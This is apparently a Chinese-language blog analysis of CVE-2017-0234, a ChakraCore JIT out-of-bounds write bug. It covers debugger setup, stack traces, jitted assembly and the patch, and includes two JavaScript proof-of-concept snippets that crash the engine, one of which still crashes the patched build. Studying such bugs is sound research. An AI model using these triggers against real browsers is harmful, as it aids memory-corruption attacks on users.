# CVE-2017-0234 分析1.0
### ChakraCore 基础知识
- 这个cve是关于ChakraCore的漏洞, 既然要调试漏洞, 我们先了解下ChakraCore的基本特征.
- 我们直接阅读ChakraCore的官方文档
https://github.com/Microsoft/ChakraCore/wiki/Architecture-Overview

ng)
- 总的来讲, ChakraCore是一个由微软为Edge浏览器开发的javascript引擎,
在ChakraCore的执行过程中, 分为解释执行(Interpreter)和JIT(Just-in-time).
- 我们来理一理, 一个js函数, 从编写完成后到最后在edge上呈现出效果, 经历了些什么 :)
1. 当这个函数第一次被执行时, ChakraCore的语法解析器将这个函数的源码转换为一个抽象语法树(AST).
2. 随后这个抽象语法树(AST) 被字节码生成器(Bytecode Generator)翻译为字节码(Bytecode), 这些字节码 直接解释执行(Interpreter)
3. 在解释执行(Interpreter)期间, 解释器会收集一些程序信息(profile), 例如变量类型, 函数调用次数等等.
4. 收集到的程序信息(profile)将帮助 JIT编译器生成高度优化的机器码(jited code), 用生成的机器码(jited code)替换 原先的被优化的函数或者循环体 进行执行. 由于jitdcode是经过高度优化的机器码, 所以之后的执行效率将快于之前的解释执行.
5. 此外, 后台JIT会根据profile数据预测代码可能会出现的情况, 从而更好的优化代码. 但是我们知道js的变量类型是可以动态修改的. 当js的某些动态特征使代码行为打破了profile的预测, 会停止执行当前的jiedcode, 转回去执行相对较慢的解释执行(Interpreter), 同时继续信息收集. 这个转换过程就是bailout.
### 调试环境搭建
> 我的调试环境: win10 + vs2015 + WinDbg Preview
- 在github ChakraCore的项目中 搜索 CVE-2017-0234, 找到有漏洞的版本及对应的commint, 然后chckout回有漏洞的版本
下载ChakraCore的源码, 编译
> git clone https://github.com/Microsoft/ChakraCore.git
> cd ChakraCore
> git checkout d8ef97d90c231e83db96dc4fdff4b39409f7a9b6
- vs编译chakracore
- 可以直接用vs可以直接打开ChakraCore\Build\Chakra.Core.sln,然后编译, 我是用的vs2015
选为debug版x64, 选择ch 右键设置为启动项, 现在可以直接编译ChakraCore.
如果我们要运行我们的js代码, 可以设置ch的调试命令参数.

- windbg调试环境搭建
- 在windows store下载windbg preview
设置符号表服务器
> SRV*c:\edgesymbol*http://msdl.microsoft.com/download/symbols

- 同样的, 我们设置ch.exe为启动项

### crash
- poc
```javascript=
function write(begin,end,step,num){
for(var i=begin;i<end;i+=step) view[i]=num;
}
var buffer = new ArrayBuffer(0x10000);
var view = new Uint32Array(buffer);
write(0,0x4000,1,0x1234);
write(0x3000000e,0x40000010,0x10000,0x6e617579);
```
- 我们先看下poc的效果
- 直接用windbg运行,在命令窗口输入 g

- 我们看到,程序没找到`[rsi+r9*4]` 的地址, 产生了越界写入
- 我们查看下此时的栈

### 分析
- 当chakracore收集信息, 发现代码中的循环次信息后, JIT会生成jited code, 那我们在JIT的循环代码调用入口下断点, 然后单步跟踪
- 通过windbg观察崩溃时栈区, JIT生成的循环代码调用入口很有可能是在chakracore!Js::InterpreterStackFrame::DoLoopBodyStart,循环主体很有可能在chakracore!Js::InterpreterStackFrame::CallLoopBody+0x3a
- 我们重新运行,对这两个函数下断点
> bu chakracore!Js::InterpreterStackFrame::DoLoopBodyStart
> bu chakracore!Js::InterpreterStackFrame::CallLoopBody
> bu chakracore!Js::InterpreterStackFrame::CallLoopBody+0x3a
> g
- 我们调试发现, 这个大致流程是: chakracore发现有大量重复的循环-->JIT进行优化-->DoLoopBodyStart调用CallLoopBody.
- 我们打印下程序崩溃时的栈, 根据栈回溯观察它的整个调用逻辑
```asm
0:005> k
# Child-SP RetAddr Call Site
00 00000045`e9efd740 00007ffd`012bacca 0x000001be`88f60167
01 00000045`e9efd7f0 00007ffd`012bba59 chakracore!Js::InterpreterStackFrame::CallLoopBody+0x3a [d:\realworld\chakra\chakracore\lib\runtime\language\interpreterstackframe.cpp @ 6218]
02 00000045`e9efd830 00007ffd`012ad7cc chakracore!Js::InterpreterStackFrame::DoLoopBodyStart+0x629 [d:\realworld\chakra\chakracore\lib\runtime\language\interpreterstackframe.cpp @ 6026]
03 00000045`e9efd930 00007ffd`0129fef7 chakracore!Js::InterpreterStackFrame::ProfiledLoopBodyStart<1,1>+0x13c [d:\realworld\chakra\chakracore\lib\runtime\language\interpreterstackframe.cpp @ 5790]
04 00000045`e9efd990 00007ffd`013497ef chakracore!Js::InterpreterStackFrame::OP_ProfiledLoopStart<0,1>+0x397 [d:\realworld\chakra\chakracore\lib\runtime\language\interpreterstackframe.cpp @ 5692]
05 00000045`e9efd9e0 00007ffd`012c4ec5 chakracore!Js::InterpreterStackFrame::ProcessProfiled+0x3ef [d:\realworld\chakra\chakracore\lib\runtime\language\interpreterhandler.inl @ 49]
06 00000045`e9efda50 00007ffd`012bf7a9 chakracore!Js::InterpreterStackFrame::Process+0x585 [d:\realworld\chakra\chakracore\lib\runtime\language\interpreterstackframe.cpp @ 3478]
07 00000045`e9efdbe0 00007ffd`012bf957 chakracore!Js::InterpreterStackFrame::InterpreterHelper+0xe59 [d:\realworld\chakra\chakracore\lib\runtime\language\interpreterstackframe.cpp @ 2036]
08 00000045`e9efe100 000001be`88ef0fba chakracore!Js::InterpreterStackFrame::InterpreterThunk+0x97 [d:\realworld\chakra\chakracore\lib\runtime\language\interpreterstackframe.cpp @ 1776]
09 00000045`e9efe190 00007ffd`01744a82 0x000001be`88ef0fba
```
```
InterpreterStackFrame::InterpreterThunk
InterpreterStackFrame::InterpreterHelper
InterpreterStackFrame::Process
InterpreterStackFrame::ProcessProfiled
InterpreterStackFrame::OP_ProfiledLoopStart
InterpreterStackFrame::ProfiledLoopBodyStart
InterpreterStackFrame::DoLoopBodyStart
InterpreterStackFrame::CallLoopBody
```
- 可以很清楚的看到, 先是由Interpreter执行, 然后经过 ProcessProfiled收集信息, 最后生成了jitedcode, 并执行jitedcode
```cpp
LoopHeader const * InterpreterStackFrame::DoLoopBodyStart(uint32 loopNumber, LayoutSize layoutSize, const bool doProfileLoopCheck, const bool isFirstIteration)
{
...
...
else
{
AutoRestoreLoopNumbers autoRestore(this, loopNumber, doProfileLoopCheck);
newOffset = this->CallLoopBody(entryPointInfo->jsMethod);
}
...
...
}
```
- 在newOffset = this->CallLoopBody(entryPointInfo->jsMethod);下断点,
其中 CallLoopBody的参数就是循环体jitedcode 的地址
这里是jit生成的循环的入口地址,

- 然后我们重点看下这个循环体的汇编, 对照着poc.js看.
我们在这里打个断点, 跟进去动态调试
>0:005> bu 000002be`170f0000
>0:005> g
- 在第一个write(0,0x4000,1,0x1234);循环次数只有0x4000的时候, 不会有问题, 我们可以看到填充值是0x1234.

- 但是在调用 write(0x3000000e,0x40000010,0x10000,0x6e617579);的时候发生越界. 生成的jied code如下
- 关键代码
```asm
...
...
...
00000250`9eb00101 mov r10d, r10d
00000250`9eb00104 mov r11, rdx
00000250`9eb00107 shr r11, 30h // 判断对象是int还是obj
00000250`9eb0010b jne 00000250`9eb002df
00000250`9eb00111 cmp qword ptr [rdx], rsi // 判断对象是不是TypedArray<unsigned int,0,1>
00000250`9eb00114 jne 00000250`9eb002df
00000250`9eb0011a mov rsi, qword ptr [rdx+38h]
00000250`9eb0011e nop
00000250`9eb0011f nop
00000250`9eb00120 mov r11, 2479CF60AB8h
00000250`9eb0012a cmp rsp, qword ptr [r11]
00000250`9eb0012d jle 00000250`9eb00319
00000250`9eb00133 mov dword ptr [rdi+9397Ch], ecx
00000250`9eb00139 inc ecx
00000250`9eb0013b cmp r9d, r10d // 比较循环中的begin和end
00000250`9eb0013e jge 00000250`9eb0017d
00000250`9eb00140 nop
00000250`9eb00141 mov r11, r14
00000250`9eb00144 mov r13, r11
00000250`9eb00147 shr r13, 30h
00000250`9eb0014b cmp r13, 1
00000250`9eb0014f jne 00000250`9eb0032b
00000250`9eb00155 mov r13d, r11d
00000250`9eb00158 mov dword ptr [rsi+r9*4], r13d
00000250`9eb0015c xxx r9d, r8d
00000250`9eb0015f jno 00000250`9eb00120
...
...
...
```
```
0:005> dqs rdx
0000024f`9e9d2940 00007ffc`ff982918 chakracore!Js::TypedArray<unsigned int,0,1>::`vftable'
0000024f`9e9d2948 0000024f`9e999540
0000024f`9e9d2950 00000000`00000000
0000024f`9e9d2958 00000000`00000000
...
```

> R13=0x0001000000010000 //这里是取出for循环的step=0x0001000000010000
>
> R14=0x000100006e617579 //这里是取出view数组要赋予的值0x000100006e617579
>
> R15=0x0001000040000010 //这里是取出for循环的end=0x0001000040000010
>
> RAX=0x000100003000000e //这里是取出for循环的start=0x000100003000000e
每个数值的高4位还有个0001, 这个0001是做标记用, 标记它是int还是obj
- 这里为什么要进行判断呢? 其实这就是文章开始介绍的chakracore的特性5,
> 后台JIT会根据profile数据预测可能出现的情况, 但是它也会时刻判断是不是出现了预期之外的事情. 比如这里的判断对象是int还是obj, 判断对象是不是TypedArray<unsigned int,0,1>, 如果不是,它会跳到00000250`9eb002df ,
会停止执行当前的jiedcode, 转回去执行相对较慢的解释执行(Interpreter), 即产生bailout.
- 我们看下跳到的位置对应的汇编, 的确证实了我们的想法.
```
0:005> u 00000250`9eb002df
00000250`9eb002df mov dword ptr [rdi-0B0AE8h],0Dh
00000250`9eb002e9 lea rsi,[rbx+4E2A8h]
00000250`9eb002f0 mov qword ptr [rdi-0B0ACCh],rsi
00000250`9eb002f7 jmp 00000250`9eb002f9
00000250`9eb002f9 mov qword ptr [rsp],rax
00000250`9eb002fd mov rcx,24F9E8D3C98h
00000250`9eb00307 mov rax,offset chakracore!LinearScanMD::SaveAllRegistersAndBailOut (00007ffc`ff626750)
00000250`9eb00311 call rax
```
- 我们接着看产生漏洞的地方
```asm
0:005> t
00000250`9eb00155 458beb mov r13d,r11d
0:005> t
00000250`9eb00158 46892c8e mov dword ptr [rsi+r9*4],r13d ds:00000250`5eac0038=????????
0:005> r
rax=000100003000000e rbx=000002479cf61f18 rcx=0000000000000001
rdx=0000024f9e9d2940 rsi=0000024f9eac0000 rdi=0000024f9e9847c4
rip=000002509eb00158 rsp=00000097869fda20 rbp=00000097869fdac0
r8=0000000000010000 r9=000000003000000e r10=0000000040000010
r11=000100006e617579 r12=00000097869fdf10 r13=000000006e617579
r14=000100006e617579 r15=0001000040000010
iopl=0 nv up ei pl zr na po nc
cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
00000250`9eb00158 46892c8e mov dword ptr [rsi+r9*4],r13d ds:00000250`5eac0038=????????
```
- 最终代码运行到这里发生了crash,rsi是buffer对象的内存基地址,r9是数组下标0x3000000e,r13给数组的赋值,整个过程都没有检查r9的范围,造成了数组越界访问。
- 这里还有个问题, JIT在使用buffer对象时, 没有检查buffer是否被释放,这就是第二个漏洞0236。 据说就这块代码有三个洞, 除开oob和uaf之外, 还有个“特性”漏洞,可惜自己还没能搞明白, 先挖个坑(0.0)
- 我们先继续看这个越界访问的 patch
### patch

(patch)[https://github.com/microsoft/ChakraCore/commit/a1345ad48064921e8eb45fa0297ce405a7df14d3]
```cpp
if (baseValueType.IsLikelyOptimizedVirtualTypedArray() && !Js::IsSimd128LoadStore(instr->m_opcode) /*Always extract bounds for SIMD */)
{
if (isProfilableStElem ||
!instr->IsDstNotAlwaysConvertedToInt32() ||
( (baseValueType.GetObjectType() == ObjectType::Float32VirtualArray ||
baseValueType.GetObjectType() == ObjectType::Float64VirtualArray) &&
!instr->IsDstNotAlwaysConvertedToNumber()
)
)
{
// Unless we're in asm.js (where it is guaranteed that virtual typed array accesses cannot read/write beyond 4GB),
// check the range of the index to make sure we won't access beyond the reserved memory beforing eliminating bounds
// checks in jitted code.
if (!GetIsAsmJSFunc())
{
IR::RegOpnd * idxOpnd = baseOwnerIndir->GetIndexOpnd();
if (idxOpnd)
{
StackSym * idxSym = idxOpnd->m_sym->IsTypeSpec() ? idxOpnd->m_sym->GetVarEquivSym(nullptr) : idxOpnd->m_sym;
Value * idxValue = FindValue(idxSym);
IntConstantBounds idxConstantBounds;
if (idxValue && idxValue->GetValueInfo()->TryGetIntConstantBounds(&idxConstantBounds))
{
BYTE indirScale = Lowerer::GetArrayIndirScale(baseValueType);
int32 upperBound = idxConstantBounds.UpperBound();
int32 lowerBound = idxConstantBounds.LowerBound();
if (lowerBound >= 0 && ((static_cast<uint64>(upperBound) << indirScale) < MAX_ASMJS_ARRAYBUFFER_LENGTH))
{
eliminatedLowerBoundCheck = true;
eliminatedUpperBoundCheck = true;
canBailOutOnArrayAccessHelperCall = false;
}
}
}
}
else
{
eliminatedLowerBoundCheck = true;
eliminatedUpperBoundCheck = true;
canBailOutOnArrayAccessHelperCall = false;
}
}
}
```
我们来分析下, 为什么它这样改过后代码就变得安全了呢
- 我们checkout到打了patch的版本,并重新编译
> git checkout a1345ad48064921e8eb45fa0297ce405a7df14d3
- 我们可以先看一下patch后的JIT代码是怎么样的, 我们重复上面的流程
- 来到关键代码


- 这里他有比较索引上界是否超出了buffer内存的边界
### 关于对patch的思考
- 我们看下它的patch代码, 有个地方很奇怪
```cpp
if (lowerBound >= 0 && ((static_cast<uint64>(upperBound) << indirScale) < MAX_ASMJS_ARRAYBUFFER_LENGTH))
```
- 一般来讲, 我们对的循环的索引检查应该是 0<=index<length; 但是这里它对上界的检查确实 upperBound乘上indirScale 小于MAX_ASMJS_ARRAYBUFFER_LENGTH(这个值在vs里全局搜索,发现它的值是0x100000000 //4GB) 这里很有可能还是存在漏洞:)
- 我们换个poc([出处](https://www.zerodayinitiative.com/blog/2017/10/5/check-it-out-enforcement-of-bounds-checks-in-native-jit-code)), 在已经打完patch的chakracore运行(a1345ad). 也发现了cracsh
```cpp
function jitBlock(arr, index)
{
if (index <0 || index >= 0x40000000)
return;
arr[index] = 0xdeedbeef;
}
var arr = new Uint32Array(0x40000/4)
for(var i=0; i<0x10000; i++){
jitBlock(arr, 0)
}
jitBlock(arr, 0x40000 / 4)
```

END
----
参考链接
http://math1as.com/2018/02/07/CVE-2017-0234-analysis/
https://slab.qq.com/news/tech/1572.html
http://eternalsakura13.com/2018/07/03/cve-2017-0234-3.0/
https://www.zerodayinitiative.com/blog/2017/10/5/check-it-out-enforcement-of-bounds-checks-in-native-jit-code